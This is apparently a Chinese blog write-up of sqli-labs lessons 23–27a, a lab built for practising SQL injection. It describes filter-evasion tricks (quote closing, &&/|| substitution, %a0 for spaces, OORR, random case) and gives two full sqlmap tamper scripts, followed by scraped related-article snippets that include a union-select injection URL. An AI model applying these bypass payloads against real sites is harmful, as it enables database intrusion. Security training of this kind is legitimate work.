less23

本关过滤掉了注释符号-- 和#,并且变量带入数据库时被单引号包裹。需要将后边的单引号闭合。使用and '1'='1,将其加在注入语句的末尾,使用suffix参数


less-24

以后填坑


less-25

参数经过blacklist处理

blacklist内容:使用/i模式,表示不区分大小写,无法用大小写绕过。但是AND等价于&&,or等价于||

对sqlmap的一个payload进行修改

#!/usr/bin/env python

"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
""" from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies():
pass def tamper(payload, **kwargs): if payload:
payload1=payload.replace(' AND ',"&&")
payload2=payload1.replace(' OR ',"||")
payload=payload2 return payload

  成功注入


less-26

同上题,进行黑名单过滤,过滤内容加入了其他,过滤了注释符+ -- /*,空格和斜线

需要用and '1'='1来闭合后边单引号,用%a0来替代空格,

修改tamper脚本

攻击日志:


less-26a

不同于上一关,这里是用小括号进行了包裹

tamper

 1 #!/usr/bin/env python
2
3 from lib.core.enums import PRIORITY
4 from lib.core.compat import xrange
5 import re
6
7 __priority__ = PRIORITY.LOWEST
8
9 def dependencies():
10 pass
11
12 def tamper(payload, **kwargs):
13
14 if payload:
15 payload1=re.sub(r' AND ','%a0%26%26%a0',payload)
16 payload2=re.sub(r'OR','OORR',payload1)
17 payload=payload2
18 retVal = payload
19
20 if payload:
21 retVal = ""
22 quote, doublequote, firstspace = False, False, False
23
24 for i in xrange(len(payload)):
25 if not firstspace:
26 if payload[i].isspace():
27 firstspace = True
28 retVal += "%a0"
29 continue
30
31 elif payload[i] == '\'':
32 quote = not quote
33
34 elif payload[i] == '"':
35 doublequote = not doublequote
36
37 elif payload[i] == " " and not doublequote and not quote:
38 retVal += "%a0"
39 continue
40
41 retVal += payload[i]
42
43 return retVal

使用sqlmap进行前后的包裹


less-27

过滤了union和select,但是,不是i模式,对大小写不敏感,可以用大小写绕过

使用随机大小写和空格匹配tamper


less-27a

不同于上一个的是参数没有包裹,同时不返回报错

利用上一题的tamper,对前后的包裹进行修改

攻击日志

sqlilab less23-less27a的更多相关文章

  1. 【sqli-labs】 less27a GET- Blind based -All you Union&Select Belong to us -Double Quotes(GET型基于盲注的去除了Union和Select的双引号注入)

    和less 27一样,单引号换双引号 http://192.168.136.128/sqli-labs-master/Less-27a/?id=0"%a0uNion%a0sElect%a01 ...

  2. 【sqli-labs】 less23 Error based - strip comments (GET型基于错误的去除注释的注入)

    . 加单引号报错 加# http://localhost/sqli-labs-master/Less-23/?id=1'%23 错误没有改变,推测过滤了# 查看源码发现# -- 都被替换掉了 那么可用 ...

  3. Less-23 preg_replace1

    Less-23: 直接跳到Less-23的原因是,Less-(11~22)均为注入点不为get方式的注入.我先把get型注入写的差不多,再回来整理关于注入点的内容. 核心语句: 查询.报错均有回显. ...

  4. sqli-lab 第一题 单引号 error based single quotes

    一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输 ...

  5. sqli-lab(37)

    0X01 看看源码 what is mean? 定义和用法 mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符. 下列字符受影响: \x00 \n ...

  6. sqli-lab(8)

    布尔型单引号GET盲注 发现加个单引号跟没加显示不一样,加了单引号连you are in都不显示了,没有报错,所以只能用盲注判断了 0X01爱之先了解 盲注需要掌握一些MySQL的相关函数:lengt ...

  7. sqli-lab(16)

    现实证明 英语好才能学渗透 基于bool类型的时间盲注 双引号 0X01爱之初体验 说实话我还没有找到 盲注的时候怎么判断闭合的方法 so 这里我直接看源码 这里的语句应该是 (“”)这种的闭合形式 ...

  8. sqli-lab(15)

    要考四级了 翻译过来就是 基于时间的单引号盲注 0X01盲注 的了解 https://www.cnblogs.com/ldhbetter/p/9201840.html 这里写的清清楚楚 A 先拆解长度 ...

  9. sqli-lab(14)

    POST型的 双注入 0X01随便测试一下 在password输入"会报错  "#就不报错了 那么应该是“”的闭合 但是没有回显的值 只有报错的信息 那我们是不是该考虑从报错的语句 ...

随机推荐

  1. C# 微支付 JSAPI支付方式 V3.3.6版本

    <script type="text/javascript">//结算 (订单号) function PayClearing(num) { $.ajax({ type: ...

  2. RedisManager2020.4最最最最简单的破解方式

    前言 redis manager是一款很优秀的redis数据库可视化工具,果然优秀的软件最终都走向了收费,贫民玩家越来越难了.赶时间的直接拉到最后,有下载方式. 破解 无需破解,已是破解版 安装 下载 ...

  3. 关于node回调函数中同步和异步操作的理解

    1.node的回调函数:如果一个方法的参数是另一个函数的名字,则这个参数本身就要回调函数,这个函数就是回调函数 1).同步操作文件(阻塞I/O)      同步就是一个人干完这个再干那个--    所 ...

  4. ServletContext使用介绍

    ServletContext是一个容器(域对象)可以存储键值对数据(String key,Object value),保存在ServletContext中的数据不仅可以提供给所有的servlet使用, ...

  5. git删除缓存区中文件

    删除缓冲区中的文件 git rm --cached "文件路径",不删除物理文件,仅将该文件从缓存中删除: git rm --f "文件路径",不仅将该文件从缓 ...

  6. .Net Core实现基于Quart.Net的任务管理

    前段时间给公司项目升级.net框架,把原先的任务管理平台用.net core实现,现做如下整理: 一.实现思路 之前的实现也是参考了博客园中其他文章实现的思路: 一个任务定义一个实现IJob接口的类, ...

  7. Sqoop源码解析

    date: 2020-05-31 12:09:00 updated: 2020-08-21 17:33:00 Sqoop源码解析 org.apache.sqoop 文件夹 参考文档: https:// ...

  8. APP UI自动化测试思路总结

    python+appium自动化测试系列就要告一段落了,本篇博客咱们做个小结. 首先想要说明一下,APP自动化测试可能很多公司不用,但也是大部分自动化测试工程师.高级测试工程师岗位招聘信息上要求的,所 ...

  9. (CS229)监督学习应用和梯度下降

    监督学习:基于标记数据的学习 监督学习又举了两个例子:回归问题regression在连续数据上的模型构建问题  和 分类问题 classification 在离散数据上的问题 无监督学习:未标记的学习 ...

  10. C语言函数的学习

    0x01.函数 这节就先讲函数吧,函数大致分为四种类型 1.无参数.无返回值的函数格式 void 函数名() { //代码段 } void Hello() { printf("Hello W ...